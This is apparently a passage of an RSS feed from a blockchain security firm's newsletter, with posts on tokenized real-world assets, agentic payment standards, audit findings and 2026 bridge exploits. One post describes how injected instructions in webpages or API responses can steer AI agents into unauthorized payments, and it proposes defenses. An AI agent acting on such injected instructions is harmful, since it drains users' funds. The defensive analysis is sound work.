            <content:encoded><![CDATA[<p>Real-world asset protocols just overtook decentralized exchanges. According to DefiLlama, RWAs became the fifth-largest category in DeFi by total value locked, passing DEXs, with the category sitting around $17 billion at the crossover and climbing past $30 billion into 2026. At the start of 2025 RWAs were not even in the top ten. Tokenized Treasuries led the charge, crossing $10 billion for the first time on February 11, 2026. Tokenized commodities, stocks, and ETFs followed.</p><p>It is a real milestone. It is also widely misread. Passing DEXs by TVL is not the same as passing them in usage, and the gap between those two things is exactly where the next set of problems lives. Here is what we think breaks next.</p><h2 id="h-first-read-the-metric-honestly" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">First, read the metric honestly</h2><p>TVL measures capital parked. It does not measure capital working. A DEX with $1 billion in TVL turns that capital over many times a day through trading. A tokenized Treasury fund with $1 billion in TVL is mostly buy-and-hold. An institution mints it, holds it for the yield, and does very little with it on chain.</p><p>So when RWAs pass DEXs by TVL, what actually happened is that a large amount of institutional capital came on chain to sit still. That is meaningful. It is not the same as RWAs becoming the most active or most liquid part of DeFi. The headline says RWAs won. The mechanics say a lot of money showed up and stopped moving. Both are true. Confusing them is how teams build the wrong thing next.</p><h2 id="h-what-breaks-next-liquidity-not-issuance" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What breaks next: liquidity, not issuance</h2><p>The most experienced operators in the space are already saying this out loud. The constraint is no longer tokenization. It is liquidity and integration into traditional finance. Issuing a token that represents a Treasury is close to solved. Being able to trade it, exit it, or use it at scale is not.</p><p>The symptom is fragmentation. The same asset lives on Ethereum, Solana, BNB Chain, Polygon, and others at once. Identical instruments show price differences of roughly 1 to 3 percent across chains, and moving capital between chains carries 2 to 5 percent friction. That is a liquidity failure hiding inside a growth story. Deep aggregate TVL spread thinly across a dozen venues is not deep liquidity anywhere. It is shallow liquidity everywhere.</p><h2 id="h-what-breaks-next-rwas-as-collateral" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What breaks next: RWAs as collateral</h2><p>The next phase of RWA growth is not holding tokenized Treasuries. It is using them as collateral inside DeFi. That is where the yield narrative turns into a systemic one.</p><p>The moment a tokenized fund backs a loan, prices a derivative, or sits in a lending pool, its risks become everyone's risks. Three things break here. Pricing, because the value of an RWA depends on an off-chain net asset value that an oracle has to report faithfully, and a stale or manipulated NAV feed misprices every position built on it. Redemption, because if the token cannot be redeemed for the underlying quickly, a protocol that treats it as liquid collateral is wrong about its own solvency. And contagion, because when a widely used RWA dislocates, every downstream protocol that accepted it inherits the problem at once, exactly the way a stressed collateral asset cascades through traditional finance.</p><p>We saw a preview of this dynamic in the bridge and restaking incidents this year. A single asset that many protocols depend on becomes a single point of failure for all of them. RWAs used as collateral concentrate that risk further, because the underlying is off chain and cannot be verified by looking at the contract.</p><h2 id="h-what-breaks-next-the-off-chain-link" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What breaks next: the off-chain link</h2><p>This is the part that is easiest to forget and hardest to fix. A tokenized real-world asset is a claim. The token on chain is only as good as the legal structure, the custodian, and the redemption right that sit behind it off chain.</p><p>Code cannot enforce that link. If the custodian fails, the legal wrapper is unenforceable in a given jurisdiction, or the issuer cannot honor redemptions, the token keeps trading on chain while the thing it represents has quietly detached. The smart contract will look healthy the entire time. The break is invisible to on-chain monitoring because it did not happen on chain. This is the failure mode we watch for most closely in RWA reviews, and it is the one that TVL charts will never show.</p><h2 id="h-what-breaks-next-compliance-at-every-hop" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What breaks next: compliance at every hop</h2><p>RWAs are the most regulated thing in crypto. Most current volume sits in qualified-access products, gated to eligible investors who complete onboarding, and a large share of institutional value lives on permissioned networks rather than public ones for exactly this reason. Scaling RWAs to public, composable DeFi means enforcing identity, eligibility, and jurisdictional rules at every transfer, not just at issuance. Every place a token can move is a place the rules can be violated. That enforcement has to live at the protocol layer, or it does not hold.</p><h2 id="h-the-takeaway" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The takeaway</h2><p>RWAs passing DEXs by TVL is a genuine inflection point, and it deserves the attention it is getting. But TVL is the wrong scoreboard for what comes next. The questions that matter now are the ones the milestone hides. Who controls issuance. Where the asset is deployed as collateral. Which venue actually holds the secondary liquidity. Whether the token can be redeemed for the underlying under stress. And whether the off-chain claim behind it is enforceable when it is tested.</p><p>The capital has arrived. The infrastructure to make that capital safe to move, lend against, and exit is the unfinished work. That is where we spend our time, and where we think the next generation of RWA winners will be decided.</p><p><em>Ancilar builds and audits RWA tokenization infrastructure across Ethereum, Solana, Polygon, BNB Chain, and 15+ other networks, with a focus on liquidity, collateral safety, redemption, and compliance rather than issuance alone. If you are building past the mint, talk to us.</em></p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <category>rwa</category>
            <category>tokenization</category>
            <category>web3</category>
            <category>tokens</category>
            <category>blockchain</category>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/32bc9f42f312ae19ed40cfdfa6e505ac0518ed65e65671187aa63bfe75019378.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Tokenized Treasuries Settled Cross-Border in Real Time. The Infrastructure Is Already Here.]]></title>
            <link>https://paragraph.com/@ancilar/tokenized-treasuries-settled-cross-border-in-real-time-the-infrastructure-is-already-here-1</link>
            <guid>x6RXht03Kj1EStpMHYrS</guid>
            <pubDate>Thu, 30 Jul 2026 11:51:01 GMT</pubDate>
            <description><![CDATA[Four major financial institutions just settled tokenized U.S. Treasuries cross-border in real time. Discover how the infrastructure is already here.]]></description>
            <content:encoded><![CDATA[<p>On May 6, 2026, four institutions completed a transaction that most of the industry is still describing as years away. Ondo, Kinexys by J.P. Morgan, Mastercard, and Ripple redeemed a tokenized U.S. Treasury fund across borders and across banks, in near real time, outside traditional banking hours. It was the first transaction of its kind between global financial institutions.</p><p>The headline is easy to skim past as another pilot. The mechanics are not. Look at what actually moved, and where, and you see that the plumbing for 24/7 tokenized asset markets is no longer theoretical. It has been built, and it ran.</p><h2 id="h-what-actually-happened" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What actually happened</h2><p>Ripple redeemed a portion of its holdings in OUSG, Ondo's tokenized short-term U.S. government Treasuries fund, on the XRP Ledger. That is a public blockchain. The asset leg processed in under five seconds.</p><p>Then the interesting part. Ondo initiated a fiat payout instruction through Mastercard's Multi-Token Network, which routed it to Kinexys by J.P. Morgan. Kinexys debited Ondo's blockchain deposit account and settled U.S. dollars to Ripple's bank account in Singapore, moving the cash leg through J.P. Morgan's correspondent banking network.</p><p>One transaction. One leg on a public chain, the other on bank infrastructure, stitched into a single flow. No wire. No manual reconciliation. No waiting for a banking window that would normally turn a cross-border redemption into a one to three day affair.</p><h2 id="h-why-redemption-was-the-hard-part" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Why redemption was the hard part</h2><p>Tokenized Treasuries are not new. The market crossed $10 billion in February 2026 and sat near $15 billion by spring, against a $30 trillion Treasury market. Issuance scaled fast. Putting an asset on chain turned out to be the easy problem.</p><p>Getting value back out was the bottleneck. Redemption infrastructure stayed dependent on traditional wire systems, manual processes, and fixed operating hours. You could hold a tokenized fund that moved at blockchain speed and then wait days to convert it back to dollars across a border. That gap is exactly why institutions hesitated. An asset you cannot exit cleanly is not an institutional asset.</p><p>This pilot closed that gap. The breakthrough was not tokenizing a Treasury. It was connecting the redemption of that token directly to interbank settlement, so blockchain execution could trigger a bank payment without siloed instructions across separate systems.</p><h2 id="h-the-architecture-is-the-story" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The architecture is the story</h2><p>We spend a lot of time building tokenization platforms, and the part clients underestimate is always the connective tissue. This transaction is a clean illustration of the layers that actually matter.</p><p>The public chain handled asset movement. XRPL settled the token leg in seconds. Mastercard's Multi-Token Network acted as the interoperability layer, translating an on-chain event into an instruction the banking system could act on. Kinexys handled settlement on bank infrastructure and reached into correspondent banking for the cross-border cash delivery.</p><p>Three distinct systems, each doing the job it is best at, coordinated into one workflow. That is the pattern institutional tokenization will follow. Not everything on chain. Not everything in the bank. A public settlement layer for the asset, a translation layer for interoperability, and regulated bank rails for the fiat leg, wired so they behave as a single transaction.</p><h2 id="h-what-is-still-missing" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What is still missing</h2><p>We are not going to oversell a pilot. This was one redemption, of a qualified-access product, between sophisticated parties who built the rails themselves. Several things still stand between this and production at scale.</p><p>The cash leg still ran through correspondent banking. The fiat side was triggered on blockchain infrastructure, but it was not fully on chain, and correspondent networks carry their own latency and cost. Interoperability is still bespoke. This worked because these four parties integrated their systems for this transaction. A general standard that lets any tokenized asset redeem against any bank does not exist yet. And compliance remains the gating factor. OUSG is access-limited to eligible investors who complete onboarding. Extending this to broader products means solving identity, eligibility, and jurisdictional rules at every hop.</p><p>None of that diminishes what happened. It defines where the work is now.</p><h2 id="h-what-this-means-if-you-are-building-in-rwa" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What this means if you are building in RWA</h2><p>The lesson for anyone tokenizing real-world assets is to stop treating issuance as the milestone. Minting a token that represents a Treasury, a fund share, or a property is close to a solved problem. The value, and the difficulty, has moved downstream.</p><p>Build for the full lifecycle. Redemption. Cross-border settlement. Interoperability between the public chain your asset lives on and the bank rails your investors settle in. Compliance and eligibility enforced at every transfer, not bolted on after. The institutions that just ran this transaction understood that the token is the easy 20 percent. The settlement plumbing is the 80 percent that decides whether an instrument is actually usable.</p><p>Larger infrastructure is lining up behind the same thesis. The DTCC has signaled a tokenization service with Treasury instruments among the eligible assets, and dozens of major institutions are already in its pilot. The direction is set. Tokenized assets that can be issued, redeemed, and settled across borders around the clock are moving from demonstration to infrastructure.</p><p>The frontier is no longer whether real-world assets can live on chain. It is whether they can move, exit, and settle like the institutional instruments they claim to be. That connective tissue is what we build.</p><p><em>Ancilar designs tokenization and RWA infrastructure across Ethereum, Solana, XRPL-adjacent EVM environments, Polygon, and 15+ other networks, with a focus on the redemption, settlement, and compliance layers most projects skip. If you are tokenizing an asset that has to be redeemable at institutional standard, talk to us.</em></p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <category>rwa</category>
            <category>tokenization</category>
            <category>web3</category>
            <category>blockchain</category>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/005e476f6031ce4351f404807a80969921f51c196018496c3f4e3d8a45f341c3.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[x402 vs AP2 vs Mastercard Agent Pay: The Agentic Payment Standard War, Decoded]]></title>
            <link>https://paragraph.com/@ancilar/x402-vs-ap2-vs-mastercard-agent-pay-the-agentic-payment-standard-war-decoded</link>
            <guid>EH5tsNY68dPBsukZFge4</guid>
            <pubDate>Thu, 23 Jul 2026 12:45:00 GMT</pubDate>
            <description><![CDATA[Decode the agentic payment war between x402, AP2, and Mastercard. Learn how these protocols actually stack together instead of competing.]]></description>
            <content:encoded><![CDATA[<p>Every week brings another agentic payment announcement, and every announcement is framed as the standard that wins. x402. AP2. Mastercard Agent Pay. Visa Trusted Agent. Stripe and Tempo's machine payments protocol. OpenAI's commerce protocol. The coverage reads like a fight to the death for a single throne.</p><p>It is not a fight to the death. Most of these are not even competing for the same job. The confusion comes from comparing a settlement rail to an authorization framework to a checkout flow as if they were interchangeable. They are not. They are layers of one stack. Decode the layers and the so-called war mostly dissolves, leaving one real contest underneath.</p><h2 id="h-the-layers-not-the-logos" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The layers, not the logos</h2><p>An autonomous payment has to answer four separate questions. Who is this agent and can it talk to the other side. What is the user's intent and did they consent. How does the checkout get structured. How does the money actually move. Different standards answer different questions.</p><p><strong>Communication.</strong> Before any payment, agents have to find and talk to each other. That is what Google's A2A protocol handles. It is not a payment standard at all. It is the layer that lets agents built on different frameworks discover each other and coordinate. Nothing moves money here.</p><p><strong>Authorization and trust.</strong> This is where AP2 lives. Google launched the Agent Payments Protocol in September 2025 with more than 60 partners including Mastercard, American Express, PayPal, Coinbase, and Salesforce. AP2 is a framework, not a rail. It defines an Intent Mandate, which captures what the user wants, and a Cart Mandate, which captures what the agent proposes to buy, both signed as verifiable credentials. Its entire purpose is to prove that a payment reflects genuine user consent. It does not move the money. It authorizes the move.</p><p>Mastercard Agent Pay sits partly on this layer too. Announced in April 2025, it issues Agentic Tokens, an extension of Mastercard's existing tokenization service, that bind a card credential to a specific agent, a specific merchant scope, and a specific consent policy. The agent completes a checkout without ever holding the raw card number. Visa's Trusted Agent Protocol does something adjacent, signing agent identity into the request itself.</p><p><strong>Checkout flow.</strong> How an agent and a merchant structure a purchase is its own problem. OpenAI's commerce protocol standardized this inside its checkout experience. Stripe and Tempo's machine payments protocol, which launched in March 2026 with more than 100 integrated services, is another take. These standardize the shape of the transaction, not the settlement.</p><p><strong>Settlement.</strong> This is where x402 lives, and where the actual contest is. Coinbase's x402 revives the dormant HTTP 402 status code so an agent can pay for a resource in stablecoins over a standard web request, with no account and no human approval. Its second version added wallet-based identity and multi-chain support, and the x402 Foundation, co-governed with Cloudflare, now stewards it as an open standard. It settles primarily in USDC on Base and Solana, using EIP-3009 and Permit2 under the hood.</p><h2 id="h-how-they-actually-fit-together" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">How they actually fit together</h2><p>Once you see the layers, the interoperability story writes itself. A fully autonomous purchase might use A2A to discover a service, AP2 to authorize the transaction against the user's signed intent, and x402 to settle it in stablecoins. Google shipped an official A2A x402 extension precisely so these snap together. AP2 mandates can authorize either a card rail or a stablecoin rail. Mastercard joined AP2 as a launch partner, which means an AP2-compliant agent can pay over Mastercard rails with the AP2 mandate wrapping a Mastercard Agentic Token.</p><p>That is the most likely production pattern. Open protocols handle identity and intent. Network tokens or stablecoins handle the money. They are complements, not substitutes.</p><h2 id="h-the-one-real-war" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The one real war</h2><p>Strip away the layers that cooperate and a single genuine contest remains. Card rails versus stablecoin rails, at the settlement layer.</p><p>The split is already visible in production. Card interchange floors out near 50 cents per transaction, settlement runs on banking hours, and chargeback rules assume a human files the dispute. For a five-cent agent-to-agent API call, that math is impossible. Stablecoin rails clear in seconds, cost a fraction of a cent, run 24 hours a day across borders, and need no acquirer. But for a high-value consumer purchase, card networks still win on the protections humans expect. Chargebacks. Fraud reversal. Dispute mediation.</p><p>So the market is not choosing one winner. It is splitting by load profile. Consumer-facing purchases ride card rails end to end. Machine-to-machine infrastructure spend, compute, data, and inference, rides stablecoins end to end. AP2-style mandates sit above both as the shared consent layer where a user's authorization has to persist across whichever rail settles.</p><h2 id="h-what-this-means-if-you-are-building" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What this means if you are building</h2><p>Two things.</p><p>Design for interoperability, not allegiance. The standards are still moving and no single one has won. Betting your architecture on one rail is a bet that the market stops evolving, which it will not. Build so you can authorize with AP2 today, settle over stablecoins where the economics demand it, and fall back to card rails where consumer protection matters.</p><p>And put the policy where software cannot argue with it. Every one of these standards assumes that when an agent proposes a payment, some layer decides whether it is allowed. That decision belongs in infrastructure, enforced against scoped mandates and hard limits, not inside a model's prompt. The standard you pick determines how the money moves. It does not protect you from an agent that decides to move the wrong amount to the wrong place. That is your job.</p><p>The agentic payment stack is converging faster than most teams realize, and the winners will not be the projects that backed the right logo. They will be the ones that built for the layered, interoperable reality underneath the headlines.</p><p><em>Ancilar builds and audits agent payment infrastructure across x402, AP2, account abstraction, and stablecoin rails on Ethereum, Base, Solana, and 15+ other networks. If you are wiring agents into real money movement, talk to us first.</em></p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <category>web3</category>
            <category>blockchain</category>
            <category>mastercard</category>
            <category>x402</category>
            <category>agents</category>
            <category>ai</category>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/45943d98cff233041a43e996487a43f08238cf8166699f6dab7405f9082fc0f5.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[AI Agents Are Spending Real Money From Self-Funded Wallets. Here Is How We Secure Them.]]></title>
            <link>https://paragraph.com/@ancilar/ai-agents-are-spending-real-money-from-self-funded-wallets-here-is-how-we-secure-them</link>
            <guid>mSA4mCfTwywscTTlAoyO</guid>
            <pubDate>Wed, 15 Jul 2026 14:43:00 GMT</pubDate>
            <description><![CDATA[AI agents are now spending real money from self-funded wallets. Learn the unique security threats they face and how to protect your infrastructure.]]></description>
            <content:encoded><![CDATA[<p>Autonomous agents are no longer paying for things in demos. They are paying in production. Coinbase's x402 protocol has processed hundreds of millions of transactions, most settling in stablecoins on Base and Solana, with machine-to-machine payments averaging around 31 cents each. Google's AP2 launched with more than 60 partners including Mastercard, American Express, and PayPal. Mastercard shipped Agent Pay. Stripe and Tempo launched a machine payments protocol with 100-plus integrated services. McKinsey estimates agentic commerce could influence 3 to 5 trillion dollars of global commerce by 2030.</p><p>Strip away the announcements and one fact remains. Software now holds a wallet and signs transactions without a human clicking approve. That is a new capability. It is also a new attack surface, and most teams are shipping the capability faster than the controls.</p><h2 id="h-the-threat-model-is-different" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The threat model is different</h2><p>A human-operated wallet fails when a key leaks or a user gets phished. An agent wallet fails in all the same ways, plus several that did not exist before.</p><p><strong>The model can be steered into paying.</strong> An agent decides what to buy based on inputs it reads. Those inputs can be poisoned. A malicious webpage, a crafted API response, or an injected instruction can convince the agent that a payment is legitimate. If the decision to spend lives inside the prompt, the prompt is your security boundary. That is not a boundary. It is a suggestion.</p><p><strong>The signing key is a live target.</strong> An agent that runs continuously and signs on demand needs access to a key. A single private key sitting next to running agent code is the highest-value object in the system and the easiest to exfiltrate. One compromise drains everything.</p><p><strong>Authorization tends to be too broad.</strong> Teams grant an agent a mandate and move on. No spend ceiling. No merchant allowlist. No expiry. The agent was supposed to buy API credits and now it can send the entire balance anywhere.</p><p><strong>Settlement signatures can be replayed.</strong> The rails that make agent payments efficient depend on signed authorizations. x402 settles through EIP-3009 for gasless USDC transfers and Permit2 for other tokens. If nonce handling and validity windows are wrong, a captured signature becomes a reusable withdrawal.</p><p><strong>Agent identity is unproven.</strong> The hardest question in the entire stack is not whether a payment is signed. It is whether this is the right agent, acting for the right person, under the right authorization, for the right purpose. Most deployments cannot answer that.</p><h2 id="h-how-we-secure-them" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">How we secure them</h2><p>Our approach starts from one principle. The model proposes an action. The infrastructure decides whether it is allowed. Everything below follows from moving the decision out of the prompt and into code the agent cannot talk its way past.</p><p><strong>Policy enforcement at the runtime, not the prompt.</strong> Spending rules live in a policy layer that sits between the agent's intent and the signer. The agent can request a payment. The policy engine evaluates it against limits, allowlists, and consent before any signature is produced. No amount of prompt injection reaches the key, because the key is not reachable from the prompt.</p><p><strong>Scoped, expiring credentials.</strong> We use narrow authorization by default. AP2 mandates bound to a spend limit, a merchant scope, and a validity window. For onchain execution, ERC-4337 session keys that are permissioned to specific actions and expire on a schedule. An agent gets exactly the authority its task requires and nothing more, and that authority evaporates when the task is done.</p><p><strong>Keys the agent never holds.</strong> Signing keys stay out of the agent's execution context. We custody them through MPC or a trusted execution environment so there is no single private key to steal, and the agent requests signatures through a gated interface rather than possessing the key itself. Compromising the agent process does not compromise the funds.</p><p><strong>Settlement hygiene.</strong> Every EIP-3009 and Permit2 authorization gets strict nonce tracking and a short validity window. Signatures are single-use and time-bound. A captured authorization is worthless a block later.</p><p><strong>Circuit breakers.</strong> Rate limits on transaction count and value. Real-time anomaly checks. An emergency freeze that halts signing the moment behavior deviates from the mandate. When something goes wrong, the blast radius is a rounding error, not the treasury.</p><p><strong>A verifiable trail.</strong> Every payment binds to an onchain receipt plus the mandate, the agent identity, and the originating intent. When a dispute or an incident happens, we can prove which agent spent what, for whom, under which authorization. Auditability is not a compliance afterthought. It is how you contain the damage when an agent misbehaves.</p><h2 id="h-the-point" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The point</h2><p>The agent economy is arriving whether or not the guardrails are ready. The temptation is to hand an agent a hot wallet and a broad mandate because it works in the demo. It works right up until an injected instruction, a leaked key, or a replayed signature turns your autonomous buyer into an autonomous thief.</p><p>The safeguards are not exotic. Scoped credentials, keys the agent cannot hold, policy in the runtime, single-use settlement signatures, and hard circuit breakers. The engineering is known. The discipline to build it before launch, rather than after the first loss, is the rare part.</p><p>If you are giving software the ability to spend, the wallet and its controls deserve the same scrutiny as the smart contracts underneath them. That is the work we do.</p><p><em>Ancilar designs and audits agent wallet infrastructure, account abstraction flows, and on-chain payment systems across Ethereum, Base, Solana, and 15+ other networks. If your agents are about to touch real funds, talk to us before they do.</em></p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/f60c44a6225dc0ecb97ea72d74ddb20f4fbd05285e5de527283e3013e4615c02.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[We Ran 40 Audits This Quarter. Three Bugs Showed Up in Almost Every One.]]></title>
            <link>https://paragraph.com/@ancilar/we-ran-40-audits-this-quarter-three-bugs-showed-up-in-almost-every-one</link>
            <guid>OjIE0FIKKJBdizvuMJNj</guid>
            <pubDate>Thu, 09 Jul 2026 11:41:00 GMT</pubDate>
            <description><![CDATA[A review of 40 smart contract audits reveals the 3 most common vulnerabilities persisting across protocols and exactly how you can fix them.]]></description>
            <content:encoded><![CDATA[<p>Every audit engagement feels unique from the inside. A new protocol, a new token model, a new team with its own conventions. Then we tally the findings at quarter end and the pattern is almost boring. Different codebases, same wounds.</p><p>Across the reviews we closed this quarter, three vulnerability classes appeared again and again. None of them are exotic. None of them require a novel attack primitive. All of them are well documented, taught in every security course, and still shipped to mainnet on a regular basis. That gap between what is known and what is deployed is the point of this post.</p><h2 id="h-bug-one-broken-access-control" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Bug one: broken access control</h2><p>This is the most common finding we write, quarter after quarter. A function that changes state, moves funds, or updates critical parameters is missing the check that decides who is allowed to call it. Or it has a check, and the check verifies the wrong thing.</p><p>The variants are familiar. An initializer left callable after deployment. A privileged function marked public with no role gate. A modifier that checks the caller against a mutable address that was never set. A receiver contract that trusts the origin of a message without proving it.</p><p>Access control fails so often because it lives in the gaps between components. A single contract reviewed in isolation looks fine. The exposure only appears when you trace who can reach the function across the full call graph, including delegated calls, proxy layers, and cross-chain entry points. Reviewers who audit contract by contract miss it. Reviewers who model the system as a whole find it.</p><p>The fix is discipline, not cleverness. Every state-changing function gets an explicit authorization decision. Default to denied. Prove the caller, not just the payload.</p><h2 id="h-bug-two-validation-and-accounting-gaps" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Bug two: validation and accounting gaps</h2><p>The second class is the one that scares us most, because the code is often correct. It compiles, it passes tests, it does exactly what it was written to do. The specification behind it is wrong.</p><p>The most dangerous version is a missing invariant. The contract never enforces that value out must equal value in. An attacker constructs a transaction where the inputs and outputs do not balance, every individual component validates, and the contract pays out far more than was deposited. We have seen real protocols lose eight figures to exactly this, where both sides of a flow validated structure and authenticity but neither checked that the amounts matched.</p><p>The quieter versions are just as real. Rounding that consistently favors the caller. Unbounded loops that let an attacker grow an array until a critical function runs out of gas. Fee math that underflows at the edges. Slippage parameters accepted without a floor.</p><p>These survive review because they are logic problems, not code problems. A linter will not catch a wrong assumption. Test suites written by the same team that made the assumption will not either. Catching them requires someone who models the economic behavior of the system and asks what happens at the extremes, not just on the happy path.</p><h2 id="h-bug-three-reentrancy-still" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Bug three: reentrancy, still</h2><p>Reentrancy has been public knowledge since 2016. Checks-effects-interactions is the first pattern most Solidity developers learn. And it is still on nearly every report we write.</p><p>It survives because it evolved. The classic single-function reentrancy is mostly gone. What we find now is cross-function reentrancy, where the reentrant call hits a different function that shares state. Read-only reentrancy, where a view function returns a stale value mid-transaction and a downstream protocol prices off it. Callback-driven reentrancy through token standards that hand control to the recipient during a transfer.</p><p>Teams guard the function they think is exposed and leave the neighbor undefended. The mental model of reentrancy as a single-function problem is exactly what lets the multi-function version through.</p><p>The fix has not changed in principle. Update state before external calls. Guard shared state, not just individual functions. Treat every external call, including a token transfer, as a point where control can leave your contract and come back.</p><h2 id="h-why-the-same-three-keep-winning" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Why the same three keep winning</h2><p>None of these are hard to prevent. They recur because of incentives, not ignorance.</p><p>Code gets copied from a fork that was never audited. Reviews get scoped to a single contract to fit a budget, so system-level access paths go unexamined. Deadlines compress the review into the last week before launch, when there is no time to fix a finding that touches the architecture. And each of these three lives precisely where a shallow, syntax-level review does not look.</p><p>We keep finding them because most teams keep looking in the wrong place. The bugs are not hiding in clever code. They are sitting in the boring assumptions nobody wrote down.</p><p>If your protocol is approaching a launch or a major upgrade, the highest-value thing you can do is have someone model the whole system and attack the assumptions, before someone else does it for profit.</p><p><em>Ancilar's audit team reviews smart contracts and protocol architecture across Ethereum, Solana, Arbitrum, Base, and 15+ other networks. If you want the assumptions stress-tested before mainnet, that is the work we do.</em></p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/3097a2cdc9c45f12bf5e062175eb8a87b21b8098d0e9f0c3feb355ea4760ee9b.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Every Cross-Chain Bridge Hack in 2026 Traces Back to the Same Flaw. We Mapped It.]]></title>
            <link>https://paragraph.com/@ancilar/every-cross-chain-bridge-hack-in-2026-traces-back-to-the-same-flaw-we-mapped-it</link>
            <guid>Cn6ccDdRk2m4iN5NxQNW</guid>
            <pubDate>Thu, 02 Jul 2026 11:16:39 GMT</pubDate>
            <description><![CDATA[Every 2026 cross-chain bridge hack stems from one structural flaw: trusting invalid messages. Read Ancilar’s analysis of the $340M exploits.]]></description>
            <content:encoded><![CDATA[<p>Cross-chain bridges have lost $340.7 million across 14 exploits in 2026, according to a PeckShield alert dated June 1, 2026. Zoom out further and the picture is worse. Bridges have been hacked for more than $2.8 billion to date, roughly 40% of all value ever stolen in Web3.</p><p>We audited the year's major bridge incidents line by line. The attackers were different. The chains were different. The dollar figures ranged from six to nine digits. But underneath almost every one sits the same failure. The bridge trusted a message it should have rejected.</p><h2 id="h-the-pattern-not-the-headlines" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The pattern, not the headlines</h2><p>A bridge does one job. It receives a message from one chain, decides whether that message is legitimate, and releases funds on another chain. Everything rests on that middle step. When verification is incomplete, the money moves when it should not.</p><p>Here is what that looked like in practice this year.</p><p><strong>KelpDAO, April 18, roughly $292 million.</strong> The largest DeFi exploit of 2026. This was not a smart contract bug. The attacker tricked LayerZero's cross-chain messaging layer into believing a valid instruction had arrived from another network, which triggered the bridge to release 116,500 rsETH to an attacker-controlled address. Poisoned internal RPC nodes reported a token burn on the source chain that never happened, and the verification network, reading only from those nodes, confirmed the message as valid. The code executed correctly on top of a falsified view of reality.</p><p><strong>Verus, May, roughly $11.6 million.</strong> Both sides of the bridge performed validation, but neither was required to check that the input amount on Verus matched the payout amount on Ethereum. An attacker built an unbalanced transaction that paid out far more than was put in, and because every other component of the transfer was valid, it was accepted.</p><p><strong>CrossCurve, February, roughly $3 million.</strong> The root cause was not a sophisticated flash loan or a novel cryptographic attack. It was a publicly callable function with insufficient input validation. Weak access controls let an attacker craft messages that the receiver contract believed came from Axelar, releasing tokens without any matching deposit on another chain.</p><p><strong>Hyperbridge, April, roughly $237,000 in realized losses.</strong> Marketed as a proof-based, trustless alternative to multisig bridges. The likely root cause was a Merkle Mountain Range proof replay vulnerability caused by missing proof-to-request binding. The same valid proof from an earlier transaction could be reused, and the contract did not check whether it had already been consumed. Only shallow pool liquidity kept this from being a nine-figure loss.</p><p>Four incidents. Four different mechanisms. One shared root. In every case, the bridge accepted a cross-chain instruction as authentic when it was not.</p><h2 id="h-why-this-keeps-happening" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Why this keeps happening</h2><p>The problem is structural, not accidental. Bridges hold massive honeypots, with cross-chain bridge TVL reaching $21.94 billion as of March 2026, which turns any bridge custodying wrapped assets across many chains into a single point of failure for every protocol downstream. The blast radius extends past the bridge itself. When the Kelp bridge broke, Aave lost billions in TVL from user withdrawals even though Aave's own contracts were never touched.</p><p>The attacker needs one gap. The defender has to close all of them. Minimum-quorum verification, checks trimmed for gas savings, a single verifier for convenience, pressure to ship. Every shortcut becomes a door.</p><h2 id="h-what-an-audit-catches-and-what-it-does-not" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What an audit catches, and what it does not</h2><p>This is the part most teams get wrong. Three of the four incidents above were code and logic failures. A missing access check, an unvalidated field, a replayable proof. Those are exactly what a comprehensive smart contract audit is built to catch, provided the review covers business logic and not just syntax. The Verus case is the clearest example. The code did what it was written to do. The specification was wrong.</p><p>KelpDAO is the harder lesson. That attack targeted off-chain infrastructure and a single-verifier configuration, not the contract code. No audit of the contracts alone would have surfaced it. Catching that class of exploit requires architecture review and continuous cross-chain invariant monitoring, verifying on an ongoing basis that tokens released on the destination chain 